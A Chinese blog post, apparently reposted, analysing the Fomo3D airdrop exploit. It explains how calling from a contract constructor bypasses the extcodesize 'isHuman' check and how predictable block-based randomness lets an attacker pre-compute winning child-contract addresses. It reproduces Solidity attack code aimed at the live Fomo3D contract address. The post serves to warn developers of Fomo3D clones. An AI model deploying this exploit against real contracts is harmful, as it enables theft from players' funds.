1. 程式人生 > >Fomo3D隨機數生成機制攻擊

Fomo3D隨機數生成機制攻擊

0x00 概述

Fomo3D是一個非常流行的,並且成為幣圈現象級的資金盤遊戲。據筆者所知,目前國內大部分資金盤遊戲都是從Fomo3D的幾個合約基礎上進行的修改。然而,在7月23號,國外著名社群reddit上有人發現了Fomo3D的一處漏洞[1],攻擊者可以利用一定的手段來繞過Fomo3D的防護,從而可以無限制命中空投來進行牟利。

本文主要分析這個攻擊的具體原理,並提醒廣大山寨Fomo3D的專案方,需要小心編寫程式碼,以免上線即歸零。

0x01 Fomo3D的空投機制

一切還得從Fomo3d的一個函式修改器說起:

這裡使用了extcodesize指令來獲取某個以太坊地址的code字串長度。我們都知道以太坊賬戶分為兩種,一種是普通賬戶,一種是合約賬戶,合約賬戶的codesize必然是大於0的,而普通賬戶的則為0,因此通過這種方式來判斷某個地址是否是合約地址。

這裡使用了extcodesize指令來獲取某個以太坊地址的code字串長度。我們都知道以太坊賬戶分為兩種,一種是普通賬戶,一種是合約賬戶,合約賬戶的codesize必然是大於0的,而普通賬戶的則為0,因此通過這種方式來判斷某個地址是否是合約地址。

因此這個isHuman方法就是Fomo3D用來防止某些人用合約來玩這個遊戲的,但是這個判斷靠不靠譜呢?

自然是不靠譜的,我們看看extcodesize原始碼實現:
 

func opExtCodeSize(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
    a := stack.pop()
​
    addr := common.BigToAddress(a)
    a.SetInt64(int64(evm.StateDB.GetCodeSize(addr)))
    stack.push(a)
​
    return nil, nil
}

這裡獲取長度是從狀態資料庫中獲取的,因此只有合約建立好之後這個判斷才有效。

如果是某個合約的建構函式中執行請求Fomo3D,那麼在建構函式執行過程中,合約還處於部署階段,因此extcodesize執行的結果還是為0,從而就可以繞過這個判斷。

我們再來看看執行空投邏輯的airdrop函式:

可以看到,seed的計算嚴重依賴於以太坊區塊的資料,比如timestamp, difficulty, coinbase, gasLimit, number等欄位,這些都是交易中固定的。唯一的變數就是這裡的msg.sender。但是對於合約賬戶來說,我們可以自己寫個合約來動態建立合約,對seed進行列舉,如果發現符合條件的seed,就可以呼叫fomo3d的airdrop來獲取空投,即百分之百的機率可以獲取到空投。

由於普通賬戶不便於進行列舉,主要過程不好自動化,操作成本太大,所以這才有前面的isHuman來對合約賬戶進行攔截。

正常來講,Fomo3d的空投是按照充值ETH的數額來決定的,數額越大,獲取空投的機會就越多,但是通過上面的攻擊,我們可以以很小的數額來擼空投獲利。

0x02 攻擊合約解析

在參考連結[2]中,reddit上給出了具體的攻擊程式碼(該程式碼不能直接成功執行攻擊)。

入口函式是beginPwn,這裡首先呼叫了checkPwnData來獲取出猜解命中空投條件的攻擊成本、合約地址以及猜解次數。然後如果攻擊成本大於收益,那麼就執行deployContracts執行具體的攻擊。
 

function beginPwn() public onlyAdmin() {
    uint256 _pwnCost;
    uint256 _nContracts;
    address _newSender;
    (_pwnCost, _nContracts,_newSender) = checkPwnData();
        
	//check that the cost of executing the attack will make it worth it
    if(_pwnCost + 0.1 ether < maxAmount) {
       deployContracts(_nContracts,_newSender);
    }
}

我們看一下checkPwnData的邏輯:

function checkPwnData() private returns(uint256,uint256,address) {
    //The address that a contract deployed by this contract will have
    address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), 0x01)));
    uint256 _nContracts = 0;
    uint256 _pwnCost = 0;
    uint256 _seed = 0;
    uint256 _tracker = fomo3d.airDropTracker_();
    bool _canWin = false;
    while(!_canWin) {
        /* 
        * How the seed if calculated in fomo3d.
        * We input a new address each time until we get to a winning seed.
        */
        _seed = uint256(keccak256(abi.encodePacked(
                (block.timestamp) +
                (block.difficulty) +
                ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
                (block.gaslimit) +
                ((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
                (block.number)
        )));
 
        //Tally number of contract deployments that'll result in a win. 
        //We tally the cost of deploying blank contracts.
        if((_seed - ((_seed / 1000) * 1000)) >= _tracker) {
            _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, _newSender, 0x01)));
            _nContracts++;
            _pwnCost+= blankContractCost;
        } else {
            _canWin = true;
            //Add the cost of deploying a contract that will result in the winning of an airdrop
            _pwnCost += pwnContractCost;
        }
    }
    return (_pwnCost,_nContracts,_newSender);
}

這裡需要了解合約中建立子合約時,子合約的地址生成機制,這些子合約的地址都是根據母合約的地址衍生出來的,公式如下

new_address = address(keccak256(0xd6, 0x94, address, nonce))
new_address2 = address(keccak256(0xd6, 0x94, address, nonce++))

這裡的nonce第一次為0x01,之後每次建立一次子合約就會遞增。

當枚舉出符合條件的seed之後,就返回列舉的次數以及命中的地址和攻擊的花銷,因為部署合約和跨合約呼叫是需要消耗gas的,因此要看攻擊本身是否是划算的。

最後呼叫deployContracts執行攻擊:

function deployContracts(uint256 _nContracts,address _newSender) private {
    for(uint256 _i; _i < _nContracts; _i++) {
        if(_i++ == _nContracts) {
            address(_newSender).call.value(0.1 ether)();
            new AirDropWinner();
        }
    	new BlankContract();
    }
}

這裡的new BlankContract()是用來使得nonce遞增的,然後滿足了遞增次數之後就建立AirDropWinner執行攻擊:


contract AirDropWinner {
    FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
    constructor() public {
        if(!address(fomo3d).call.value(0.1 ether)()) {
           fomo3d.withdraw();
           selfdestruct(msg.sender);
        }
    }
}

可以看到這裡在建構函式中對fomo3D發起了轉賬操作,從而繞過了isHuman判斷,完成了攻擊。

具體的攻擊交易:

需要注意的是,當空投池大於一定數值的時候才有利可圖。這是因為發起一次交易本身需要gas也很昂貴,如果玩遊戲的人越多,那麼就越有利可圖。

Reference

[1] https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide

[2] https://www.reddit.com/r/ethdev/comments/91fpqd/fomo_3d_exploit_improved_clearly_explained


原文:https://blog.csdn.net/u011721501/article/details/82684747